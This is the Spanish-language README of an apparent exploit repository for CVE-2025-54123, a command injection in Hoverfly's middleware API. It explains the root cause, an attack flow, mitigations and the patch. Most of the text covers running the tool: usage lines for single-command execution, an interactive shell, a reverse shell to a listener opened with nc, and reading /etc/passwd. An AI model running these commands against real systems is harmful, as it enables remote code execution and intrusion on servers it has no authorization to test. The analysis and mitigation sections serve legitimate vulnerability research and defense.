Exploit para CVE-2025-54123, una inyección de comandos del sistema operativo autenticada en la API de middleware de Hoverfly, que proporciona capacidades de solo verificación, comando único, shell interactivo y shell inversa para pruebas de seguridad autorizadas.
| Propiedad | Valor |
|---|
| CVE ID | CVE-2025-54123 |
| CVSS Score | 9.8 — Crítico |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (Inyección de comandos del SO), CWE-20 (Validación de entrada incorrecta) |
| Producto | Hoverfly — Herramienta de simulación de API de código abierto |
| Afectadas | Todas las versiones hasta e incluyendo 1.11.3 |
| Corregido en | 1.12.0 (commit del parche) |
| Aviso | GHSA-r4h8-hfp2-ggmf |
Aquí hay un análisis detallado del caso de estudio y análisis técnico desde perspectivas de caja blanca y caja negra https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly expone una API administrativa RESTful (puerto predeterminado 8888) para gestionar configuraciones de simulación. El endpoint de gestión de middleware en /api/v2/hoverfly/middleware acepta un cuerpo JSON con los campos binary y script que definen un proceso middleware externo.
La vulnerabilidad surge de una combinación de tres fallos a nivel de código:
Validación de entrada insuficiente — middleware.go:93-96: La función SetBinary() acepta el parámetro binary sin ninguna validación o sanitización, permitiendo a un atacante especificar ejecutables arbitrarios (por ejemplo, bash).
Ejecución insegura de comandos — local_middleware.go:14-19: El middleware se ejecuta mediante exec.Command() con los valores binary y script controlados por el atacante pasados directamente como argumentos, permitiendo la inyección de comandos del SO.
Ejecución inmediata durante las pruebas — hoverfly_service.go:173: Cuando se establece el middleware a través de la API, Hoverfly prueba inmediatamente el middleware ejecutándolo, desencadenando el comando inyectado en el momento de la configuración en lugar de en el momento de la interceptación del proxy.
Attacker Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Authenticate
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution
│ │ → attacker command runs as ││
│ │ the Hoverfly process user ││
│ └──────────────────────────────────┘│
│ │
│<── Command output in error response ──│ (4) Exfiltrate output
│ │
admin / contraseña configurable)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Verifica la accesibilidad del objetivo y la autenticación sin explotación:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
Ejecuta un solo comando del SO en el objetivo:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
Inicia una sesión de shell persistente:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
Envía una shell inversa a tu listener:
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
Enruta el tráfico a través de Burp Suite para inspección:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
| Parámetro | Descripción | Por defecto |
|---|---|---|
-u, --url | URL objetivo de Hoverfly | Obligatorio |
-U, --username | Nombre de usuario administrador | Obligatorio |
-P, --password | Contraseña de administrador | Obligatorio |
-c, --command | Comando del SO a ejecutar | — |
-C, --check | Modo solo verificación (sin explotación) | false |
-i, --interactive | Pseudo-shell interactiva | false |
--revshell | Shell inversa LHOST:LPORT | — |
--proxy | Enrutar a través de 127.0.0.1:8080 | false |
--timeout | Tiempo de espera de la solicitud (segundos) | 15 |
-v, --verbose | Habilitar salida verbosa | false |
| Acción | Detalles |
|---|---|
| Actualizar | Actualizar Hoverfly a v1.12.0 o posterior, donde la API de establecimiento de middleware está deshabilitada por defecto |
| Segmentación de red | Restringir el acceso a la API administrativa de Hoverfly (puerto 8888) solo a redes confiables |
| Autenticación | Usar contraseñas fuertes y únicas para la API administrativa de Hoverfly |
| Monitoreo | Monitorear solicitudes PUT inesperadas a /api/v2/hoverfly/middleware |
La corrección en el commit 17e60a9 deshabilita la API de establecimiento de middleware por defecto. Los cambios posteriores en la documentación (commit a9d4da7) informan a los usuarios sobre las implicaciones de seguridad de exponer este endpoint.
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación educativa. El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA) y leyes equivalentes en todo el mundo. El autor no asume ninguna responsabilidad por el mal uso de este software. Obtenga siempre un permiso explícito por escrito antes de probar cualquier sistema que no posea.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # Polished exploit
│ └── raw_exploit.py # Original raw PoC
├── Images/ # Research screenshots
├── Reference/ # Reference exploits for study
├── requirements.txt # Python dependencies
└── README.md # This file
Phantom Hat — Investigador de Seguridad
Esta investigación se llevó a cabo como parte de un estudio de caso de vulnerabilidad con fines educativos.